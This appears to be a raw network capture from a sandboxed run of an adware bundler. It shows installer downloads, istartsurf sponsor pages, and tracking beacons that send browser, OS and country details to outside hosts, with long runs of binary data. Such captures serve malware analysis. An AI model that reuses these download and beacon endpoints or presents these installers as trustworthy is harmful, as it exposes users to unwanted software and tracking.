Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: gYDi v 8kS Y4DEkjd2jPkxCJAzAjTkLUeahYHtSdDhJnuEdPh10CkVImNpmTa80phAD50sZeHg=

x-amz-request-id: 460BA6C727D208F0

Date: Sat, 18 Apr 2015 07:36:06 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1429342565 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: o5nKj7tNxIr0/3sUx6abbxkPDwU1oiEPhaT7i jPhfe03YRNarlFTr4LNkBLKgaXdkcK8rkILDU=

x-amz-request-id: 98A1F2D331F62603

Date: Sat, 18 Apr 2015 07:36:06 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1429342565 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: FEcdpuYzSCqtgAKMBr4X4HU VGoBypJuCOdM0YmkmzpoYuIEipBpaC23y1Bw5wI69je8qI0jjOM=

x-amz-request-id: E7337710DB23D84B

Date: Sat, 18 Apr 2015 07:36:06 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1429342565 HTTP/1.1

Host: errors.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 1BN0vu7ZuKKnnkVVIeNIlUiXv6GBV1OaL4L9 CNVdy6YMuxGnH8UqksuNjsmuhF5 KAsJkQUink=

x-amz-request-id: 511DC4208B1184C1

Date: Sat, 18 Apr 2015 07:36:06 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:03 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;..

GET /softwares/4/3/vlc-2.0.6-win32.exe HTTP/1.1

Range: bytes=20080192-

User-Agent: Better Installer(Mozilla)

Host: download.betterinstaller.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:39 GMT

Content-Type: application/octet-stream

Content-Length: 2868598

Last-Modified: Thu, 29 Aug 2013 08:26:14 GMT

Connection: keep-alive

ETag: "521f05a6-15e2bb6"

Content-Range: bytes 20080192-22948789/22948790
^....f.}.nQ.<[email protected]....:...<.,.|.. 8....J...;^
n.......x.\b.;P../.|........i.\`..?...]...U.D..:.".#.Wp...b..c.....G|3
.. ..syl'j....M=..3.......j.Q..C>...|n.......M.$......{....q.%^G...
..0xQ......}{..<......|.....}.fAvB$.."sH..3.......gr<.56C.X.....
,|.bku..zQ{ecO.'.E.dZ....X.........t........[Je.;.........&.....O,B..&
lt;3l...j0.....w....Mc.....%.....M!E..q..c...C...\{.P..b....O.'..k.A.&
.s.d..i.....t"....{...H..g.j......]..s ...q.!..(]F>..M~...S..r.....
[email protected].=..}TO.3.d..3W-..!. .G<......a...{....;@...\...~..v;K.NB
....3...f.....Y...a..jk.UG=.Um ......5..=.\iL....p ...g.A....Ia..G.gYN
..P..=H;n..ee.....0..2f.Zy......g...N.e..?.a.}...E.. ...5B.{..I.g.....
L.....p..0..`.l/27....U..c.Y.Q1p....B.N....z$.....I_._s...<..(o...]
.*.3E.......(.N.b...}....^../.52..>.m4....L.P7...........p... .....
.%..V.9>T=.Y.u}...%...,.{M..._j.8~..#.A...fq.n{..w.v.......X{?u....
O..ZO]....K..B.=/..H?F.3.?.|.Q.].y.$.V.-....S..[bF... .........k.dk.._
.$.(x...Cz..f...HL.....T-.......#..<...\..;m\.....L6...(.:..<...
.N....eMHa.....X2.j..a<?Q&....^r.........O.1-z.y4...F@\.z.I..>{.
~.J.T.)..?.a..t.rA............f.P.....AA.T.!..t......c(.*1.A.K.".._.J.
vT....a[&.S{.m.s.k....;.l}y .T9.}b...l5..s..J..\.^....N.9...../..](...
"OX............[...R.$....f...Ln..SCkG$...?.....=k#"....$)O/.7d.G..9.J
[email protected].....|..A[.A,F^..D9...b...l)...64...*.....p.o.
.......JUgPMb..l\O..2...:[email protected]. ..2..H.7...T..). Q}hQ.[5h.iw..F2;.L.
OM................b. .Y....lf..$.?.,.).......[./c .^...O.F?q....O <<< skipped >>>

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ds HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 18 Apr 2015 07:35:53 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.66 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 18 Apr 20
15 07:35:53 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.66 ms","message":"store 1 ac
tion and 0 update "}..0......

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.nt.ff.tab HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 18 Apr 2015 07:36:03 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.72 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 18 Apr 20
15 07:36:03 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.72 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=107085-

User-Agent: Better Installer(Mozilla)

Host: d3dl09kxmzkap.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 178473

Connection: keep-alive

Date: Sun, 12 Apr 2015 05:26:44 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 107085-285557/285558

Age: 2036

X-Cache: Hit from cloudfront

Via: 1.1 3ff89417230c3ba285675742a503a229.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5IZi0cxBnnth8iKs_XgLaG4E0i4Pfr-ITueb696rLAce1kSuWDeFJQ==
...^]..)..;....h.d1...5^1...B...Q...z.N....WC'./..h......U.S....[...*.
>P.^jM..%i.3T5..w..$.X......?u.U...!.0..s.../..F.....i...k........9
M?.....p..3....J.Q.../s............8.0w2J"h..1...W.#[email protected].,Kao.@..:Kl
...Pk./%[email protected](j8&R..;..KE.UZ..&..........B.Y...'3D.
....K....>..6/......DM.....5B...k.I5.&....3....2..oe\[email protected]...
?...0r..J..ko...Kr.3.?A....um..r6..k......3....tX.....hQV.'.`.....X.3u
[email protected]"}.e..W.......BP.i...(GG%...P.]3".q<.A.l{.
......u..J.J.J.6Z(..-.w......)....nI\Z.B.>.xi#p. .9._(..m......"..c
...AnY.~......;..W....(..".d...EF...2..V....D..I .._..z.Y..o.......^..
.i2.c....'J...0B?............<...TM....T..)....Y../..Xg......>|m
C....O.......-7.z 9A..U..<U......Z.Q.X...i...C...D.s_...^..r..aJ...
.mm......p.......W.......'.*....LA".P......Y5np.z..../ro..>..\.$d-.
i_.g..=...*.]0$.Z:r...D. ..O*i.......B.%..K..^@...6Z....%....c...q...z
.R!].w(}.e.....R}7.c.......-...0/..i.....;..... ...'...tf.=....g>.N
...A........\..vHz.........{5.."s.........R...\.p.xj}...~=..w.V..$%...
.,o..Xa>...8.Q..E.....b.qL.K..a.....o0{...CEd/......J_n.......0T...
.#. .x...k0.....M'yr.X.U..E...oF.z.rE.oX....E...q...M..l*....q...~.`b.
.\..#..kJ..Mlt".P9..B.Y..r.j....Q.Y.1..w...%.x..nH....Mg-....#RZ.g..c.
..`no~.~.=.7y.....cI...jM;.....8.4O.Y...w..5..RZ.}..`..V..z/.{.....t..
y#Vr.9_;.-.G....s..\l^..h.]...{.^...{..`...oae....A...\&|....4.z......
....t.0...MzJ'...!.iW`x.xG#.T.Q...p..<.7...S...... q.6n=m2....o..aW
[email protected]{h;k.o....#.H.".c..<I#.b......].<<< skipped >>>

GET /sponsored/istartsurf/eula-istartsurf.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/videoplayer/videoplayer/607deb71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d2d55ordy2t3g4.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 12 Apr 2015 04:59:02 GMT

Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT

Expires: Sun, 12 Apr 2015 05:09:02 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

Age: 188

X-Cache: Hit from cloudfront

Via: 1.1 0b56f1ff7267ce27c777b1b0b4058aaa.cloudfront.net (CloudFront)

X-Amz-Cf-Id: lL6_SSdnVM62ekmX5jIw1NNCJkNHJPtQiL8tpDrFxGdfLnPUTbX9Jw==
139c.............Z.s...... ..4.Z....m......g..........#y.>X|.b:....
....R.f&q........]<...o......Y.En.~....s39...}|>..q.....W_]....s
U.....J.........m7....v;.~<.......-.:....'.h.,k........"/..{.9...Ou
...l.?........;......oo.>....M\......G/.....S...f.....V..k..]...\._
...eW......d.1....{z.v....vy....r\...4.zvVvy~..}6........im..z.Y....k.
..Y.6.M.t...........O..O?.....a...M.V....nk.q.W.....w.....7..7.....~..
..>.....V....u.4.).RK....[...B....z....h....;H.....^Ze..o^.W..*].b.
.....~.5?>.?z..,.lw..\;....n...r..5A....*..lK.......|weW_..M......'
.z.......i.l......>....f.k_.p.E....v.$.4...x...y.^9I.zr.4..e.`...Q.
..f7.Wf.k.gS..~.:.....n.....W>..;J..&:...P......<.k..x........k[
C#g..].......(c...)~x......................^...y"...}.N.....)....<_
Ve{......ts;<[....g..`.4..K..#.]?.#.rE.%.{fR...Ilu....'..S..c.l....
'..=.{od...H....=>...}fN.r..G...H.............Ac.../.|........Cc.S.
...Z..\..h.....;.&iL.v..Sf........>..v ...6H.%.....j.\.....t.....7%
<[email protected]>.a/Bi|..1[[email protected]....]..)..|......X^.....<.G\.B..*3I
68..R.f....-.w...........u....E.2...w&u....q...... [email protected]..._...B.
rgZ_....U......>.j.m2....w.C...Z...M...w.^g. .....HO1....g.r... ..6
.P.o...... i.......z.B...9../[email protected]_....2....7.%
. .B....^.[.?N.....w.74........ 6.E_.j["kB..k..x.2'.L.N..Z6..ZN.E\!.7}
z....T...MyJp.aoY.1....x.\...iP.t.....3*.)...4.p...4.l.li.kD.W.......J
...n.=......f"..O@s|n.....m<B.J".Y.<....C.....!;#7.p..2..&.A.{.K
.....s.mp1.g.K.{P.. M....@....]]../.H.z.!X".b.....hL.W.e....vM...)<<< skipped >>>

GET /softwares/4/3/vlc-2.0.6-win32.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.betterinstaller.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:38 GMT

Content-Type: application/octet-stream

Content-Length: 22948790

Last-Modified: Thu, 29 Aug 2013 08:26:14 GMT

Connection: keep-alive

ETag: "521f05a6-15e2bb6"

Content-Range: bytes 0-22948789/22948790

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L...#..O
.....................P......'C............@..........................`
................ ..........................................a..........
......................................................................
...........................text...D........................... .0`.dat
[email protected]...#.......$................
[email protected]@.bss..................................0..idata..................
[email protected]...@[email protected]....
[email protected].............................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U..WVS.......U..E....t...F
.........{B..H...H.......M..E..5H{B..D$...$....B..M..E.....SS...E...$.
D$... .B..M..E......M.WW......M.)..M..NT....NP........E.....}...VT....
....FP..E........}..VP........U.......FT.............}..........E..M..
.$..|.B..E..R...D$..E..D$...$....B.....<$....B..E..Q.}.;}...Q....~X
........F4..$....B...W..........$.E......E......D$.........B.RR.FX..$.
D$.....B..5..B.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$..{B.
....B...|.......T$...$..QQ.<$....B.S.M..E..D$...$....B.PP1....D

<<< skipped >>>

GET /monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429342557&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429342557 HTTP/1.1

Host: logs.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:36:02 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1429342562.dop002.fr7.t,1429342562.cds021.fr7.c

GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Sat, 18 Apr 
2015 07:36:02 GMT..Keep-Alive: timeout=5, max=100..Connection: Keep-Al
ive..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07 
Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 3
5..Content-Type: image/gif..X-HW: 1429342562.dop002.fr7.t,1429342562.c
ds021.fr7.c..GIF89a.............,...........D..;..

GET /youtube_accelerator/wizardtest/SMALLTEST.HTM?random=545067&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:36:02 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF.....

GET /s/abel/v6/3YEwT2a1878zysq92S8_9w.eot HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: fonts.gstatic.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Type: font/eot

Last-Modified: Thu, 28 Aug 2014 18:23:54 GMT

Date: Thu, 09 Apr 2015 04:39:06 GMT

Expires: Fri, 08 Apr 2016 04:39:06 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Server: sffe

Content-Length: 10793

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Age: 788246

Alternate-Protocol: 80:quic,p=1
..........e.eL.\..w..eq/..NY..].w..RX......R..h.[..}.7.....;.3.$s..L..
[email protected][email protected]..........,.....rL....-........C..
....x.......%...............S..o...}.0.......8....e.N!Keg.i.2e.x$f....
.J"R..b.?m.I9X%.1.C.zI..Ah^aJ I.w..%S.A..NJ...!8...vIC..S..H...%......
GD..]...4m%%....n.R..i..n.T..$..W..E.Sm.-*[email protected].~%....1.9u.
...1V..{xh....I..H..4.i..N...B..1.......;.<......e.?/...1.Jy ..`;..
$...k.p....:.L.-.......r....s..\..1_X.h.I....$o....d.C.cga~F.-..F.....
?.0~...C.'.7d...r..3..}....&=......9...q..7.....x/^:.K..Ec.......f.hx(
X..:... ....... J......%KX..1..0.kNX:.W...).......J.z..2....4b.......2
'.Gm9e..wS.Tx.dS.....=....j#.}..V...c..s.H......#.....G.r......\:.E.61
..D.7... I...y.9g!...L.%...8J..3.^F.8....]BgG.,^i......?.88v...;....&g
t;l=\x...O{..N.D.A.K.....O.b]o.....,.5...lW-N;....11-X..'.:.%..j....".
G%V.....G..Xg.......n....0w-."[email protected].'....p$....G4..p....V.w.......[|.
....C.........h..bB.Qc.`..K..v.|...eK..7.Vj...z.....fv.&PB.K.T.2..|1..
.._x..5...O....l."...(h...............W..Q....D_.&U...S....5..].......
.6.k.=......^......i./:.F0./..r_.........9.......7!...a.."...s........
.....3'.lz...k..H.$...wF.7...tlUI.^aH.Q..K.eZ.....IF.]kj..0.....f|:...
.....R.....\Q.mG....]/<....}1.1.>...b(<.\B.\...}.e........o(.
.>.o.=F..z.J"...l.....Ua?S..a.".3-q@v...$.'F..lNn&~0..Sy*......Y...
..p.......R*....T.G%M?....i..Y.8'..,F..Z.k....b....S......P.%x...0W...
]@;O...l..W....W.C(.....<..^.Y.(t=.#s....5..7.I.....}....E3.{~.....
. .^...1.....A[.....1l.R....jYX...7.`b.`.F.......Wh....X...)...Qt"<<< skipped >>>

GET /softwares/4/3/vlc-2.0.6-win32.exe HTTP/1.1

Range: bytes=5737197-11474395

User-Agent: Better Installer(Mozilla)

Host: download.betterinstaller.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:38 GMT

Content-Type: application/octet-stream

Content-Length: 5737199

Last-Modified: Thu, 29 Aug 2013 08:26:14 GMT

Connection: keep-alive

ETag: "521f05a6-15e2bb6"

Content-Range: bytes 5737197-11474395/22948790
k.}.j>.m.j"..:..K..O(............X~$ .....,.u.V.v..E.|..B...[....yP
R.D..3....~R..?.....mC..Z.5........,.tF.......th.z)...`..^3.`..}...!..
.{...U0u..EG6o.`......T.n....2.......h..Z.............s...w.3....;3..C
n^!....D..y..6..l.....7Q .........I...qq....K..G&.Z....4Pk...v..?.Z.9.
udS..s...T..U3..h....-..Q.GO~...f...C./G....7.p.;.. . H.E......6,..D.&
gt;....]./.{|.T.`...m_.N{(dzl.!...r..mv.....^.....J.L.\...qI7..Z)...@y
sm.B......}W...o....jYXm..|\S..v..[...z.8.`../.d?.p....Hw4:.,..b..o/V.
J.pj.......4....}7............kYM..4....p..9h.....p...x..i,l...D....0.
.?..E.....U.&Q....fH..J.F&K.m....^.R.....5.......E.....94V..sC...I....
c.W....../.....>.Te..........(.n.1.Cj..C...,."$i...C..t..\..vw^%c..
Pn..3.5...`.Y^..m...7L).q;.=..t.R/Q.pa...]7.m8..................#..6i.
.....Vw.....5.dw...G..1E.......C...s..Ux...LN)....:..p.\A.......B.....
.9........V]D.......S..o'...]r......$.c....H.XA4i)....gy..,...H.z..I..
^.....r.t...D....X*.<,.c...m..[O.8...x...2.......3#..B.N.8... F.H7.
.[..`WS8.a_x.......4..1-p6$...S(K...vm..&.^.{....p....Bf{.tB....u.....
oq....j.8.X....PT.I.m.%~d..4.9.....^....X..O`......h..P<.9V..'._{.-
.:.."..Bt.$....%8..g..].*..@.|.b.5.6..Z2g.........Q...c({`...D.}./kx.~
\......25L..Q..ZNW.M.....a. /..l......p^.o......;.[.....x...r.sY..L...
.....H.d.._>[email protected].....
.=E......J5ew.X......!.yRb<.b0...s...,..VJ...%9.0.J..K3...8..O..B v
.Gu4.....j,.2d..~....)\.....M.......`..........C-..C%^.....[..E....E..
..q.{..s<.....-V.......E.......... !W.(....D[BL......Q[.......3<<< skipped >>>

GET /22693.ashx?e=d/UISSlWdlMdEfBWbuhmg4OEKc3FJ3Q0jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66LlHmS0Zrngqa/u6z7Uinv/gCLB7Quosf1iJOdggUH8lGD5Sh2iPx4Tl/DvTHZIAKtATxIUcsgQ wusjSmD/os8shJkdH5jOhAHvojBYZTAl2SDGL01oIa7jD3Psqw12eBUNQkrQodbn4W0C6B oLg2/kIgqoM4zGjB6RUS1Mgh81BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLHGIuOi8NF5gp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/WW/hePtCOfZ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:34 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=d/UISSlWdlMdEfBWbuhmg4OEKc3FJ3Q0jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66LlHmS0Zrngqa/u6z7Uinv/gCLB7Quosf1iJOdggUH8lG3IlxQB6eB5S9R7UpgWEByNCUHeR8YCF3Mlt I6v8YQuU2F4Ptf8DU8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfd7DtEfJQoroi4lKa3GrnqJbHve/RKFqd qCUmdZEWwWUhl7fGS412w= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:34 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /22693.ashx?e=d/UISSlWdlMdEfBWbuhmg4OEKc3FJ3Q0jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66LlHmS0Zrngqa/u6z7Uinv/gCLB7Quosf1iJOdggUH8lGyETj4nts NO517CUeh0QiwTxIUcsgQ wusjSmD/os8uUYk8/b2 6EUeCMSNo5dvN0DAe2B9i5kJssIFedkeDcwU A6kiYcjN5jgwqhpV 3RVAAKZHGiEvlscLueIfL3cclTumrkXWbdv qR/r3k14sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfd7DtEfJQoroi4lKa3GrnqJbHve/RKFqd qCUmdZEWwWUhl7fGS412w= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com

GET /22693.ashx?e=rU8wGwYGlBTT6EXPOQXbtb/U/dVTkMJ6QF3UKsSdb2sRoGJKEMpEhX5dMiu8MPG0ciWZEfkXV7ZTC0rigrLizf4cdNw8aOYWoKyYoIbpn2WMVfl20iIArNSSaUQFDqWEnmP3t8anGDfBNsiUq8V7JmF3CXDdsfBw8sNnTqkc9FUySAZYWl5Zf44G r 3F6T7B28jN/IR4nVKzavb SZSsr1uxBW6c8fb/uMEVmnk0kOc7eA6ZFy79/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLKvDtE6jRZ3qvsUl7h5mV4z6i  slsoGBMB6SEWAN/Wt24M5eQqfn5E= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:35 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:36 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /22693.ashx?e=iDRrwQhh7wufZNC1TqAoBJfNvU8q5I7v1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/oUDW29 K3KZFLtEFRCIjfXf1ws7XaD2yRYhZSGl8ahHJscN vLrCozg0PJKmtjhbnF8rmHTkMqElJDbT23fvBEnqM x5Lofqsq nFs/xGcDk8ga7UPuAMU/yGrBubm/hF9S3iFnl6fKov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLygTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3cKA3e4YdyjH0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:23 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:23 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /22693.ashx?e=hXeqmv1IpemletMtAI4NzdPoRc85Bdu18eUHeqLPXa5AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRyJZkR RdXtlMLSuKCsuLN/hx03Dxo5hagrJighumfZYxV XbSIgCs1JJpRAUOpYSeY/e3xqcYN8E2yJSrxXsmX4l9XCm/Va9DzSREg8dBLdCUHeR8YCF3e0ze47pQVOJ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LVPxSpXQH7h ov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLyg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

